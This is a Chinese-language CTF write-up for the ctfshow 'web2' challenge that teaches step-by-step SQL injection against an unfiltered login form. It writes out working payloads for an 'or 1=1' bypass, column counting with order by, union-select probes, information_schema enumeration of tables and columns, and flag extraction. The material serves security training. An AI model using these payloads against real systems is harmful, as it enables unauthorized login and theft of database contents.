1. 程式人生 > 其它 >從ctfshow web2 題目梳理sql注入基本思路

從ctfshow web2 題目梳理sql注入基本思路

題目是 “最簡單的SQL注入” ,此題是最基礎的SQL注入題目,後端針對前端傳入引數不做任何過濾

首先看到傳入後端的引數是“使用者名稱”和“密碼”,注入點基本可以肯定就是這兩個位置。在判斷是否存在注入點之前,我們可以構想下後端查詢的sql結構,有利於接下來的思路拓展。

可以假設後端的查詢語句是:

select <unknown> from table where username='' and password=''

現在我們可以確定的是:

後端提交的SQL查詢包含“使用者名稱”、“密碼” 兩個條件(我假設這兩個條件的欄位名是 "username"、"password")

我們不能確定的是:

1、後端SQL查詢結果中的欄位數量,我這裡用"<unknown>" 佔位

以圖解釋:

a b c d ...<unknown>

2、後端SQL查詢結果中如果是多欄位,哪些欄位中的值會在前端回顯?

以圖解釋:

a b(回顯) c d(回顯) ...<unknown>

3、後端SQL查詢結果如果是多行,哪行的值會在前端回顯?

以圖解釋:

a b(回顯) c d(回顯) ...<unknown>
回顯 回顯

4、SQL查詢的這張表是在哪個資料庫?表名是什麼?表裡有什麼欄位?

在找到注入點之後,我們要先解決的就是以上問題。

一、

現在先找注入點,結合之前構想的SQL語句,我們嘗試"username" 這個條件能不能注入

嘗試構建:

select <unknown> from table where username='admin' and 1=1 #' and password='asdasdasd'

體現在前端,即:

發現提交後無法登入。

嘗試構建:

select <unknown> from table where username='admin' or 1=1 #' and password='asdasdasd'

  

發現可以登入成功。

因此可以判斷,”使用者名稱“即嘗試構建的SQL中的”username“欄位是注入點。

二、

接下來判斷後端SQL查詢出的欄位數,用order by 指定以結果中的第幾欄位排序的方法來判斷這個數量

嘗試構建:

select <unknown> from table where username='admin' or 1=1 order by 3 #' and password='asdasdasd'

  

select <unknown> from table where username='admin' or 1=1 order by 4 #' and password='asdasdasd'

  

現在發現order by 4 的情況下會報錯,即以查詢結果的第四欄位排序時報錯,因此可以判斷查詢結果內包含3個欄位。

現在後端查詢SQL中的<unknown>欄位數量已知,目前不知道這個三個欄位的名稱,所以先用a,b,c佔位,新的查詢語句為:

select a,b,c from table where username='' and password=''

  

三、

現在判斷查詢到的這三個欄位中,哪些會回顯到前端,可以通過union select 1,2,3 在查詢結果中拼接標記數字的方式來判斷。

嘗試構建:

因union select 拼接的值預設在每個欄位最底部,回顯欄位如果是多行的話,前端可能只回顯欄位第一行的值,因此需要利用 order by <第n欄位> asc排下序,將拼接值排在每個欄位的最上面

select a,b,c from table where username='admin' or 1=1 union (select 1,2,3) order by 1 asc #' and password='asdasdasd'

我們將1,2,3三個數字分別拼接在了查詢出的三個欄位中,現在看到2回顯在前端,因此可以判斷後端SQL查詢的三個欄位中,只有b欄位在前端回顯。因此接下來就要利用這個能回顯的欄位爆出更多資料。

四、

接下來依然通過拼接的方式爆出這個表所在的資料庫名稱,這裡使用內建的database()函式。

嘗試構建:

select a,b,c from table where username='admin' or 1=1 union (select 1,database(),3) order by 1 asc #' and password='asdasdasd'

通過database()函式配合b欄位的回顯查詢到資料庫的名稱為"web2"。

五、

接下來通過資料庫的名稱去查詢資料庫中存在的資料表,可以通過查詢mysql內建information_schema庫中的columns表得知。

這裡通過巢狀SQL的方式來注入查詢:

注意,在嵌入的sql查詢中要用 limit <起始行>,<偏移量> 限制查詢出的行數,如果超過一行,會導致select 1,sql,3拼接失敗。

可以通過修改 limit 起始行來遍歷 table_name欄位的所有值,如 limit 0,1 ; limit 1,1 ; limit 2,1

select a,b,c from table where username='admin' or 1=1 union (select 1,(select table_name from information_schema.columns where table_schema='web2' limit 0,1),3) order by 1 asc #' and password='asdasdasd'

limit 0,1 時查詢出flag表

select a,b,c from table where username='admin' or 1=1 union (select 1,(select table_name from information_schema.columns where table_schema='web2' limit 1,1),3) order by 1 asc #' and password='asdasdasd'

limit 1,1時查詢出user表

接下來一直到 limit 3,1 都是user表,limit 4,1 無法顯示,因此能判斷web2資料庫內有兩張表flag和user

六、

接下來可以通過已知的資料庫名,表名來查詢表中的欄位,同樣通過information_schema庫中的columns表來查詢。

內嵌的查詢依然需要limit限制欄位行數,以及遍歷欄位值。

構建:

select a,b,c from table where username='admin' or 1=1 union (select 1,(select column_name from information_schema.columns where table_schema='web2' and table_name='user' limit 0,1),3) order by 1 asc #' and password='asdasdasd' 

先查詢user表的欄位。

以下是從limit 0,1到limit 2,1的結果截圖:

可以確定user表有3個欄位 id,username,password

接下來查詢flag表中的欄位。

構建:

select a,b,c from table where username='admin' or 1=1 union (select 1,(select column_name from information_schema.columns where table_schema='web2' and table_name='flag' limit 0,1),3) order by 1 asc #' and password='asdasdasd' 

只有limit 0,1能查詢到資料,因此flag表內只有一個flag欄位

七、

現在可以得知,後端的查詢是在 web2資料庫中,其中有兩張表user和flag。

user表有3個欄位 id,username,password。

flag表有一個欄位flag

八、

通過以上資訊構建巢狀查詢,爆出flag即可:

select a,b,c from table where username='admin' or 1=1 union (select 1,(select flag from web2.flag  limit 0,1),3) order by 1 asc #' and password='asdasdasd'

九、

通過以上示例總結sql注入的通常思路:

1、先找注入點
2、判斷查詢出的欄位數
3、判斷哪些欄位回顯到前端
4、判斷回顯欄位的哪一行回顯到前端
5、用查出來的資料庫名稱作為條件來判斷這個庫裡有哪些表,在mysql內建的information_schema庫的columns表裡面可以查到
6、用查出來的表名稱作為條件來判斷表裡有哪些欄位,同樣在mysql內建的information_schema庫的columns表裡面可以查到
7、現在已經完全查出 資料庫>表>欄位的資訊了,最終直接查表裡想查的欄位即可